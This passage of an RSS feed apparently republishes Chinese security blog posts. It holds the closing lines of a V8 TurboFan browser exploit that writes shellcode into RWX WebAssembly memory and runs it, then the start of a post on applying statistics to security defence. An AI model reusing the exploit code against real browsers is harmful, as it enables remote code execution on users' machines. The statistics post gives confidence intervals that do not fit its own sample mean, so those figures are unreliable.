!important;">136</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">137</span>    rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">138</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> wasm_instance = rw_view[WasmOffsets.wasm_instance];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">139</span>    view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>] = wasm_instance - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// detag</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">140</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] wasm instance: 0x&#34;</span> + hexprintablei(view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">141</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">142</span>    rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">143</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> jump_table_start = rw_view[WasmOffsets.jump_table_start]; <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">144</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] jmp start: 0x&#34;</span> + hexprintablei(jump_table_start));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">145</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">146</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">147</span>    view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>] = jump_table_start;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">148</span>    rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Uint8Array</span>(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">149</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">150</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [6] write shellcode in RWX memory</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">151</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//print(&#34;[+] start to write shellcode ....&#34;);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">152</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; shellcode.length; ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">153</span>      print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] start to write shellcode: &#34;</span>+i);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">154</span>      rw_view[i] = shellcode[i];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">155</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">156</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">157</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] write shellcode end ....&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">158</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">159</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [7] PWND!</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">160</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%SystemBreak();</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">161</span>    get_pwnd();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">162</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">163</span>    print(res);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">164</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">165</span>    debug(arr,y, leak);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">166</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;array&#39;s length: &#34;</span>+ arr.length);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">167</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;oob read: &#34;</span> + arr[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">20</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">168</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">169</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">170</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> leak;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">171</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">172</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">173</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">174</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">175</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%OptimizeFunctionOnNextCall(opt_me);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">176</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//let res = opt_me(1);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">177</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x10000</span>; i++)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">178</span>    opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/></code></pre><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6573033707865169" title="" data-type="png" data-w="1958" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d09dd03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcK5yAqEvZlWZRxz6bcqQXJL9NS3HBNxueDUibQY8ehOne8iapWI35a9NA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">参考</span></h2><ol style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/" target="_blank">https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><a href="https://kiprey.github.io/2021/01/v8-turboFan" target="_blank">https://kiprey.github.io/2021/01/v8-turboFan</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><a href="https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1AlIahgraIEJXwVBfAySmqakJAHo9Bo0=&amp;lang=sage" target="_blank">https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1AlIahgraIEJXwVBfAySmqakJAHo9Bo0=&amp;lang=sage</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><a href="https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCgaaADQcBCc=&amp;lang=sage" target="_blank">https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCgaaADQcBCc=&amp;lang=sage</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><a href="https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCob6GkCukaYmAFdlBZ8=&amp;lang=sage" target="_blank">https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCob6GkCukaYmAFdlBZ8=&amp;lang=sage</a><br/></p></li></ol></section><p><br/></p>



<p><a href="2247485480">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c2fe547a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247485480%26idx%3D1%26sn%3D491447f8926752da74ab68f2c1627268%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 Apr 2022 19:42:00 +0800</pubDate>
    </item>
    <item>
      <title>安全对抗，从统计学到人工智能（一）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484731&amp;idx=1&amp;sn=224b80b41de9cb14a9402d5bbf38f090</link>
      <description>写在前面一直有一个想法，想把统计学的知识复习一下，边复习边尝试把统计学应用到安全对抗领域中。之前一直写的都是</description>
      <content:encoded><![CDATA[<p>
原创 <span>rebeyond</span> <span>2022-03-30 17:53</span> <span style="display: inline-block;"></span>
</p>

<p>写在前面一直有一个想法，想把统计学的知识复习一下，边复习边尝试把统计学应用到安全对抗领域中。之前一直写的都是</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=71d2dc51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8xNaAJlsBBFjAkFDvgo9momrxLGBLopVRbeE6SjLvhXNmS112PiaTNMnvYtcfrUuibrcRFeA25CezA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(248, 95, 72);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 20px;font-weight: 700;text-align: start;">写在前面</span><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">一直有一个想法，想把统计学的知识复习一下，边复习边尝试把统计学应用到安全对抗领域中。之前一直写的都是安全相关的内容，这次写的是统计学，看似跨度很大，其实一脉相承。我个人比较喜欢研究通用的底层逻辑，当时入坑安全也是因为上学时候想探究一下IT领域的底层逻辑。不过IT领域的逻辑的分化程度太高，缺少普适性。有没有一种更通用的研究各行各业底层运作规律的东西呢？有，那就是统计学。记得在统计学毕业时，我的导师在赠我的著作中写了让我至今仍然感触很深的一句话：明计数，识天下。当时没有完全理解，后面随着工作上遇到的事情越来越多，越觉得统计学重要，所以就有了这篇文章。统计学既有“识天下”的普适性，注定其是一门偏抽象的学科，就像编程语言里的抽象类，需要结合一个具体的行业领域才能发挥作用。为什么本文选择安全对抗作为具体的研究领域呢？没别的原因，就是因为我觉得如果直接以金融投资行业来讲有点太物质，而且我对安全对抗领域比较熟悉，深知在这个领域统计学有很多用武之地。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">统计学是什么</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">统计学是什么？教科书上是这样写的：统计学定义是，通过搜索、整理、分析、描述数据等手段，以达到推断所测对象的本质，甚至预测对象未来的一门综合性科学。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">个人认为，统计学是人们认识和研究未知事物的一个工具，是可以改变思维方式的一门科学。利用统计学，可以弱化特例个体的干扰来掌握总体规律，是人类对上帝视角的一种窥探。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">统计学的基本原理是依据概率论，用样本数据去推断总体特征。概率，代表着不确定性。就像提到编程就会提到hello world，提到概率，就要提到抛硬币。抛硬币其实就是一个未知的事物，因为硬币落下的结果受非常多因素的影响，如风力、重力、起抛角度、硬币材质、PM2.5等等。如果一个人可以精确计算所有影响硬币的因素，那他就可以绝对精确的预测某一次抛硬币的结果。但是这很难，因此我们只需要把这些因素看成一个未知的黑盒，通过不停的试抛，记录结果，获得样本数据，然后用样本数据来推断总体特征，再根据总体特征去预测其他样本数据。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">比如一个劣质工艺的硬币，抛1000次，300次正面，700次反面，那可以根据这1000次推断：抛这枚硬币得到正面的概率是30%，得到反面的概率是70%。因此可以预测，下一次抛硬币有70%的可能性可以得到反面的结果。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">下一次抛的硬币有70%的可能性是反面，下一次请求有xx%的概率是恶意请求，下一个磁盘新增的文件有xx%的概率是恶意文件，下一个获奖用户有xx%概率是羊毛党，下一个xxx有xx%的概率是xxx，下一个…… Are you getting it？：）</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">如果没有经过专业的统计学的学习，或者大学时期没有选修过概率论与数理统计，可能大多数人对统计学的认知还停留在高中时期所讲的平均数、方差这种基本的统计描述概念，这可能会让大家对统计学有所误解，认为统计学就只有对已有数据的简单描述。通过了解安全行业很多防御规则也可以看出来，大都是在统计次数、硬编码个阈值，再画一堆炫酷的JS Chart，投到大屏上，称作大数据智能态势感知系统，其实智能化程度并不够。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">一个例子</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">下面我们来看一个简单的利用样本来估计总体的例子。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">一个学校有207名学生，我们从中随机抽取了15名同学的成绩：</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.1</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">能否根据这15个学生的成绩来推断207名学生的成绩情况？比如207个学生的平均分大约是多少？当然可能多数人会直接求这15个人的平均成绩，然后直接用这个平均成绩来估算全部学生的平均分值：(96.4+93.2+89.3+89.8+99.9+91.8+90.5+87.8+92.9+97.7+84.3+81.9+85.9+93.9+94.1)/15= 91.3
当然，这样也可以，这在统计学上叫做“点估计”，但是点估计没有将误差考虑进去，没有利用抽样分布特征，也不能给出概率的保证，每次从207人中抽出15人得到的结果可能都不一样。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">有没有更准备的方法呢？有，区间估计：</p><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">经过统计学计算，207名学生的总平均分在83.84340 95.16993的区间内，可信度99%。</span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">经过统计学计算，207名学生的总平均分在88.90982~92.99685的区间内，可信度95%。</span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">经过统计学计算，207名学生的总平均分在87.37152 90.57515的区间内，可信度90%。</span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">下面是一个学校207名学生的成绩：</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit 